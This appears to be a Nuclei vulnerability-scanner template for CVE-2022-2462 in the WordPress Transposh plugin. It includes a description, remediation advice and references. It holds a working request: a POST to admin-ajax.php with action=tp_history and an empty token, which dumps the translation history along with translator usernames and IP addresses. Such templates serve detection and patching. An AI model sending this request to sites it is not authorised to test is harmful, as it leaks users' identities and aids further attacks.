64 lines
2.5 KiB
YAML
64 lines
2.5 KiB
YAML
id: CVE-2022-2462
|
|
|
|
info:
|
|
name: WordPress Transposh <=1.0.8.1 - Information Disclosure
|
|
author: dwisiswant0
|
|
severity: medium
|
|
description: |
|
|
WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
|
|
remediation: |
|
|
Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
|
|
- https://github.com/oferwald/transposh
|
|
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2462
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2022-2462
|
|
cwe-id: CWE-200
|
|
epss-score: 0.01386
|
|
epss-percentile: 0.84883
|
|
cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: transposh
|
|
product: transposh_wordpress_translation
|
|
framework: wordpress
|
|
tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php"
|
|
|
|
body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "len(transposh) > 0" # 'transposh' equivalent for Transposh header key
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
# because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
|
|
- "translated"
|
|
- "translated_by"
|
|
- "timestamp"
|
|
- "source"
|
|
- "user_login"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100e41b168c9a290145c0a9096f3e2444b403f3cb87f68f522a854b705757a9e03602210083ec6cb2baf3df1128173b0f9f72955adc1f9b5eab2bb870c40d6bc0807f4865:922c64590222798bb761d5b6d8e72950
|